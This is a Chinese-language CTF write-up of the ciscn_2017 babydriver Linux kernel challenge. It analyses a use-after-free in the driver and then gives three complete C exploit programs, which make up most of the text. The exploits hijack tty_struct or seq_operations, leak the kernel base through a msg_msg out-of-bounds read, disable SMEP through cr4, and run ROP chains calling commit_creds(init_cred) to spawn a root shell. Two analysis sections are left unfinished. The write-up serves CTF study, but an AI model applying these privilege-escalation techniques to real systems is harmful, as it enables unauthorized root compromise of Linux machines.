admin 管理员组

文章数量: 887021

【kernel

前言

本文所用的内核为题目所给的内核,版本为 4.4.72,没有引入 kpti 保护。但是这丝毫不影响以下方法在其他部分版本内核的利用,如果有 kpti 保护,最后返回用户态时用 swapgs_restore_regs_and_return_to_usermode 函数即可。还是就是这里并不讲解直接 fork 修改 cred 结构体的利用方式。

参考:

在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析-安全客 - 安全资讯平台

在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法-安全客 - 安全资讯平台

第五届强网杯线上赛冠军队 WriteUp - Pwn 篇 - 知乎 

 漏洞分析

babayioctl

释放全局变量 babydev_struct 中的 device_buf,然后又重新申请了一个 arg_len 大小的堆块,这里没有限制堆块的大小

babyrelease

当关闭对应设备文件时,释放了全局变量 babydev_struct 中的 device_buf、但是并没有将其置空。如果我们打开两次,并将一个关闭,但是另一个还是可以操作此内存区域

babyread、babywrite

两者的功能如下:

len <= babydev_struct.device_buf_lenbabyread:
copy_to_user(user_buf, babydev_struct.device_buf, len)babywrite:
copy_from_user(babydev_struct.device_buf, user_buf, len)

漏洞很明显,任意大小的 UAF,并且有读写的能力。

漏洞利用

tty_struct -- smep+kaslr

当然也可以利用 tty_struct+pt_regs 去打,但是下面的 seq_file 就是利用的 pt_regs,所以这里这不展示了。

在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,该结构体中存放着函数指针的结构体 tty_operations。

其中 tty_struct 大小为 0x2e0, 由 kmalloc-1k 分配,分配方式为 GFP_KERNEL_ACCOUNT。

#define TTY_MAGIC        0x5401struct tty_struct {int	magic;struct kref kref; //其实就是一个intstruct device *dev;struct tty_driver *driver;const struct tty_operations *ops;...
}

 其中 tty_operations 会被初始化为全局变量 ptm_unix98_ops  或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址。

tty_struct+栈迁移

我们可以通过 UAF 劫持 tty_struct、然后利用 babyread 功能读取 tty_operations 的值从而泄漏内核基地址。

然后由于没有开启 smap 保护,所以可以直接伪造 tty_operations。利用 babywrite 去修改 tty_struct 的 tty_operations 为我们伪造的 tty_operations,最后在将栈迁移到 rop 链的位置即可。

如何进行栈迁移呢?

经过调试发现当执行 tty_operations->write 时,rax 指向的就是 fake_ops。所以我们可以找到一条有 mov rsp, rax;ret 效果的gadget 将栈劫持到 fake_ops 上,但是 fake_ops 上空间较小不足以布置下我们的 rop 链,所以我们可以再次将栈直接劫持到 rop 链的位置。

tty_strcut+wrok_for_cpu_fn -- 不用绕过 kpti 保护

其实我们控制了 tty_struct 结构体后,不用这么麻烦地去进行栈迁移啥的。我们可以利用 work_for_cpu_fn。

在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

#define container_of(ptr, type, member) ({          \const typeof(((type *)0)->member)*__mptr = (ptr);    \(type *)((char *)__mptr - offsetof(type, member)); })struct work_for_cpu {struct work_struct work;long (*fn)(void *);void *arg;long ret;
};static void work_for_cpu_fn(struct work_struct *work)
{struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);wfc->ret = wfc->fn(wfc->arg);
}

该函数可以理解为如下形式:

static void work_for_cpu_fn(size_t * args)
{args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

 我们又可以看下函数表:

可以发现当我们执行相关函数时,其第一个参数都是 tty_struct,而 tty_struct 又是我们可以控制的,所以就可以直接在内核中执行相关提权函数了,而无需绕过 smep 等保护

struct tty_operations {struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);int  (*install)(struct tty_driver *driver, struct tty_struct *tty);void (*remove)(struct tty_driver *driver, struct tty_struct *tty);int  (*open)(struct tty_struct * tty, struct file * filp);void (*close)(struct tty_struct * tty, struct file * filp);void (*shutdown)(struct tty_struct *tty);void (*cleanup)(struct tty_struct *tty);int  (*write)(struct tty_struct * tty,const unsigned char *buf, int count);int  (*put_char)(struct tty_struct *tty, unsigned char ch);void (*flush_chars)(struct tty_struct *tty);unsigned int (*write_room)(struct tty_struct *tty);unsigned int (*chars_in_buffer)(struct tty_struct *tty);int  (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
......

与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改

需要注意的是 tty_operations 中的 ioctl 并不是直接执行的,此前需要经过多道检查,因此我们应当传入恰当的参数,这里直接用长亭师傅wp里面的参数就行了。

需要注意的是,由于 tty_struct 的结构体已经被我们破坏,所以最后还得恢复

exp:

上面两个方法写在一起的

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define PTM_UNIX98_OPS 0xffffffff81a74f80
#define PTY_UNIX98_OPS 0xffffffff81a74e60
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
char old_tty[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void fix_tty()
{printf("UID: %d\n", getuid());binary_dump("tty_struct", old_tty, 0x2d0);write(fd[1], old_tty, 0x2d0);close(fd[2]);puts("Success 1");
//      int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
//      char msg[0x800];
//      memset(buf, 'A', 0x800);
//      ((struct msg_buf*)msg)->mtype = 1;
//      msgsnd(qid, msg, 0x2b0, 0);close(fd[1]);puts("Success 2");get_root_shell();puts("SUccess 3");
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x2e0);close(fd[0]);fd[2] = open("/dev/ptmx", O_RDWR);read(fd[1], old_tty, 0x2d0);
//      binary_dump("tty_struct", old_tty, 0x2e0);read(fd[1], buf, 0x40);if ((*((int*)buf)) != 0x5401) puts("No alloc tty_struct by UAF"), exit(-1);size_t ops = buf[3];if ((ops&0xfff) == (PTM_UNIX98_OPS&0xfff))puts("ptm_unix98_ops"), kernel_offset = ops - PTM_UNIX98_OPS;else if ((ops&0xfff) == (PTY_UNIX98_OPS&0xfff))puts("pty_unix98_ops"), kernel_offset = ops - PTY_UNIX98_OPS;else puts("error ops"), exit(-1);printf("kernel_offset: %#lx\n", kernel_offset);printf("tty_struct->ops: %#lx\n", ops);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;size_t fake_ops[16] = { 0 };
// 栈迁移 start
//      for (i = 0; i < 8; i++) fake_ops[i] = MOV_RSP_RAX+kernel_offset;
//      fake_ops[0] = POP_RSP+kernel_offset;
//      fake_ops[0] = POP_RAX+kernel_offset;
//      fake_ops[1] = (size_t)rop;
//      printf("fake_ops->write: %#lx\n", fake_ops[7]);
// 栈迁移 endread(fd[1], buf, 0x40);buf[3] = fake_ops;// work_for_cpu_fnbuf[4] = COMMIT_CREDS+kernel_offset;buf[5] = INIT_CRED+kernel_offset;fake_ops[12] = WORK_FOR_CPU_FN+kernel_offset;printf("fake_ops->ioctl: %#lx\n", fake_ops[12]);printf("fake_ops: %#lx\n", fake_ops);write(fd[1], buf, 0x40);//      binary_dump("buf", buf, 0x40);// work_for_cpu_fnioctl(fd[2], 233, 233);write(fd[1], old_tty, 0x2d0);close(fd[2]);system("/bin/sh");// 栈迁移
//      write(fd[2], "", 1);return 0;
}

seq_file -- smep+smap+kaslr

由于 4.4.72 版本的内核没有 swapgs_restore_regs_and_return_to_usermode,所以还是得进行栈迁移。

当我们打开一个 stat 文件时(如/proc/self/stat)时,内核会为其创建一个 seq_file 结构体,该结构体由特定的内存池分配所以不好进行利用,但是该结构体中存在 seq_operations 字段,其为该文件的函数表,该字段由 kmalloc-32分配,分配方式为 GFP_KERNEL_ACCOUNT

struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};

而其中的 start 等函数指针会被赋值为全局函数,如 start 会被赋值为 single_start,所以可以用来泄漏内核基地址。

而当我们对该文件进行 read 操作时,最后会调用到 seq_operations->start,所以如果我们可以修改 start,就可以劫持程序执行流,但是需要注意的是这里的参数是不可控的。 

seq_file+pt_regs+栈迁移

如果开启了 smap 保护呢?那通过劫持 tty_struct 伪造 tty_operations 的方法就失效了。

这时候,我们可以选择 seq_file 结构体进行利用。

分析后面再写,有点事

exp:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x20);close(fd[0]);fd[2] = open("/proc/self/stat", O_RDONLY);read(fd[1], buf, 0x18);binary_dump("seq_operations", buf, 0x20);kernel_offset = buf[0] - SINGLE_START;printf("kernel_offset: %#lx\n", kernel_offset);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;buf[0] = ADD_RSP_XXX+kernel_offset;printf("seq_operations->start: %#lx\n", buf[0]);write(fd[1], buf, 8);asm("movq $0x11111111, %%r15\n\t""movq $0x0, %%r14\n\t""movq %1, %%r13\n\t""movq $0x6f0, %%r12\n\t""movq %2, %%rbp\n\t""movq %0, %%rbx\n\t""movq $0x77777777, %%r11\n\t""movq %3, %%r10\n\t""movq %4, %%r9\n\t""movq $0xaaaaaaaa, %%r8\n\t""movq $0xcccccccc, %%rcx\n\t"::"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop):);read(fd[2], buf, 8);return 0;
}

seq_file+msg_msg+shm_file_data+pt_regs+栈迁移 -- 不使用read函数

在前面的利用中,我们都可以通过 babayread 直接去泄漏内核基地址,但要是没有 babyread 这个功能呢?我们又该如何去泄漏内核基地址呢?

这里,我选择堆喷 shm_file_data 结构体,然后利用 msg_msg 结构体越界读去泄漏内核基地址。

分析后面再写,有点事

exp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
#define SECONDARY_STARTUP_64 0xffffffff81000110//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);fd[2] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x1000);close(fd[0]);int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);char message[0x2000] = { 0 };struct msg_buf* msg = (struct msg_buf*)message;msg->mtype = 1;memset(msg->mtext, 'A', 0x1020);msgsnd(qid, msg, 0x1020-0x30-0x8, 0);int shmid;char* shmaddr;for (int i = 0; i < 0x50; i++){if ((shmid = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) puts("Failed to create shm"), exit(-1);shmaddr = shmat(shmid, NULL, 0);if (shmaddr == -1) puts("Failed to execve shmat"), exit(-1);}struct msg_header evil = { 0 };evil.l_next = 0xdeadbeef;evil.l_prev = 0xdeadbeef;evil.m_type = 1;evil.m_ts = 0x1400;write(fd[1], &evil, sizeof(evil)-0x10);msgrcv(qid, buf, 0x1400, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR);size_t init_ipc_ns = 0;for (int i = 0; i < 0x1400/8; i++){if ((buf[i]&0xfff) == (0xffffffff81e93f60&0xfff)){init_ipc_ns = buf[i];break;}}binary_dump("OOB read", (char*)buf+0xfd0, 0x100);kernel_offset = init_ipc_ns - 0xffffffff81e93f60;printf("init_ipc_ns: %#lx\n", init_ipc_ns);printf("kernel_offset: %#lx\n", kernel_offset);baby_ioctl(fd[1], 0x20);close(fd[1]);fd[3] = open("/proc/self/stat", O_RDONLY);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;buf[0] = ADD_RSP_XXX+kernel_offset;printf("seq_operations->start: %#lx\n", buf[0]);write(fd[2], buf, 8);asm("movq $0x11111111, %%r15\n\t""movq $0x0, %%r14\n\t""movq %1, %%r13\n\t""movq $0x6f0, %%r12\n\t""movq %2, %%rbp\n\t""movq %0, %%rbx\n\t""movq $0x77777777, %%r11\n\t""movq %3, %%r10\n\t""movq %4, %%r9\n\t""movq $0xaaaaaaaa, %%r8\n\t""movq $0xcccccccc, %%rcx\n\t"::"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop):);read(fd[3], buf, 8);return 0;
}

本文标签: Kernel